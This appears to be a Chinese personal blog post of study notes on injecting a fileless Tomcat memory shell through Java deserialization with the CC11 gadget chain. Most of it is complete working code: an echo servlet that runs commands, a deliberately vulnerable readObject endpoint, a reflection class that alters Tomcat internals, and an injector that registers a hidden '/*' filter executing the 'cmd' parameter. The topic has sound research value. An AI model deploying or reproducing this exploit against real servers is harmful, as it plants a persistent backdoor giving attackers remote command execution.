Java-利用反序列化注入内存马
Flow

这篇写的比较潦草,差不多是记录思考过程,没有写的很细,公布出来意思是我已经学了这个知识点🤓🤏🏻一如既往不具有任何参考作用

参考

https://wjlshare.com/archives/1541

解决回显问题

本来用jsp可以直接获得request和response,但是现在使用反序列化的方式打进去,需要用到字节码,需要想办法获得一个request对象。

大概思路就是找到一个静态的,在applicationChain里面,lastServicedRequest和lastServicedResponse,都是静态变量

代码里面有一个地方会把request和response存进去,抛开前面一些if判断限制,进入到里面,我们可以将 response 从 lastServicedResponse 中取出来,然后将我们命令执行的结果直接写在 response 里面就可以了

碍于前面有些限制,需要有两次访问,第一次接触限制,用反射把field,第二次进入if里面的语句,取出我们要的response

现在写一个echo文件,设置一个servlet,访问/echo的时候触发内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@WebServlet("/echo")
@SuppressWarnings("all")
public class Echo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try{
Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
WRAP_SAME_OBJECT_FIELD.setAccessible(true);

Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
f0.setAccessible(true);
f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers() &~Modifier.FINAL);

Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers() &~Modifier.FINAL);
f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers() &~Modifier.FINAL);

ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);

String cmd = requestThreadLocal!=null ? requestThreadLocal.get().getParameter("cmd"):null;

if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || requestThreadLocal == null || requestThreadLocal == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
// 第一次访问/echo,都是false,会进入这个判断修改值
lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
}else if(cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
StringBuilder sb = new StringBuilder("");
byte[] buffer = new byte[1024];
int line = 0;
while ((line = inputStream.read(buffer)) != -1) {
sb.append(new String(buffer,0,line));
}
Writer writer = responseThreadLocal.get().getWriter();
writer.write(sb.toString());
writer.flush();


} catch (Exception e){
e.printStackTrace();
}
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}
}

第一次访问的时候用反射把WRAP_SAME_OBJECT改 为 true,第二次进入applicationChain的时候就可以进入lastServcieRequest.set()方法取出request

漏洞复现

我们要发送两个反序列化数据,第一次Step1修改WRAP_SAME_OBJECT之类的值,第二次的数据里面包含我们的恶意filter,类似之前的FIltershell文件内容,获取servlet之类的流程。。。现在这两个恶意class类比成之前的Calc.calc,替换到cc11链里面的内容,分别作为字节码结合到cc11里面,生成新的反序列化数据,发给服务器。服务器readObject后自动实现代码,其中就包括反射修改值和注册恶意filter,后面就没有他们的事情了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/cc")
public class CCServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream inputStream = (InputStream) req;
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}
}

Step1的作用就是反射修改 现在来看TomcatInject的思路

TomcatInject要实现

  • 有一个恶意filter(doFilter)
  • 获取getServletContext(在step1获取好,这次直接调用)
  • 思路和之前的filtershell应该是很像的,通过获取filterconfig,filtermap,servletcongtext这些去把恶意filter添加到服务器全局的filterChain里面
  • 有一个生命周期(start)管理
  • 设置好filter后用filterstart启动

step1代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Step1 extends AbstractTranslet {

static {
try {
/*刚开始反序列化后执行的逻辑*/
//修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}

//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}

//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {

}

}

对比之前落地的内存马注入解决方案,这里还需要有生命周期管理,管理”state”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Lifecycle;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.EnumSet;
import java.util.Map;
import java.util.Scanner;

public class tryInject extends AbstractTranslet implements Filter {
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "badFilter";

static {
try {
ServletContext servletContext = getServletContext();

if (servletContext != null) {
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

// 生命周期管理
Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
LifecycleState originalState = (LifecycleState) stateField.get(standardContext);
stateField.set(standardContext, LifecycleState.STARTING_PREP);

Filter filter = new tryInject();

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructorMap = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (org.apache.tomcat.util.descriptor.web.FilterMap) declaredConstructorMap.newInstance();

filterMap.addURLPattern(filterUrlPattern);
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

stateField.set(standardContext, originalState);

Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
boolean result = (Boolean) filterStartMethod.invoke(standardContext);

if (result) {
System.out.println("Filter injection success");
} else {
System.out.println("Filter injection failed in filterStart");
}
} else {
System.out.println("ServletContext is null");
}

} catch (Exception e) {
System.out.println("Filter injection failed: " + e.getMessage());
e.printStackTrace();
}
}

private static ServletContext getServletContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletContext servletContext = null;

try {
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = c.getDeclaredField("lastServicedRequest");
lastServicedRequestField.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);

if(threadLocal != null && threadLocal.get() != null){
ServletRequest servletRequest = (ServletRequest) threadLocal.get();
servletContext = servletRequest.getServletContext();
}
} catch (Exception e) {
// 继续尝试其他方法
}

// if (servletContext == null) {
// try {
// Class c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
// Method m = c.getMethod("getRequestAttributes");
// Object o = m.invoke(null);
// c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
// m = c.getMethod("getRequest");
// ServletRequest servletRequest = (ServletRequest) m.invoke(o);
// servletContext = servletRequest.getServletContext();
// } catch (Exception e) {
// // 继续尝试其他方法
// }
// }
//
// if (servletContext == null) {
// try {
// Class c = Class.forName("org.springframework.web.context.ContextLoader");
// Method m = c.getMethod("getCurrentWebApplicationContext");
// Object o = m.invoke(null);
// c = Class.forName("org.springframework.web.context.WebApplicationContext");
// m = c.getMethod("getServletContext");
// servletContext = (ServletContext) m.invoke(o);
// } catch (Exception e) {
// // 所有方法都失败了
// }
// }

return servletContext;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("do恶意Filter操作");
HttpServletRequest req = (HttpServletRequest) request;
String cmd = req.getParameter(cmdParamName);
if (cmd != null && !cmd.isEmpty()) {
try {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
return;
} catch (Exception e) {
response.getWriter().write("Command execution failed: " + e.getMessage());
return;
}
}
chain.doFilter(request, response);
}

@Override
public void destroy() {

}
}

然后有分别生成两个字节码,套到CC11里面,生成一串payload发给漏洞环境就能成功注册内存马

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep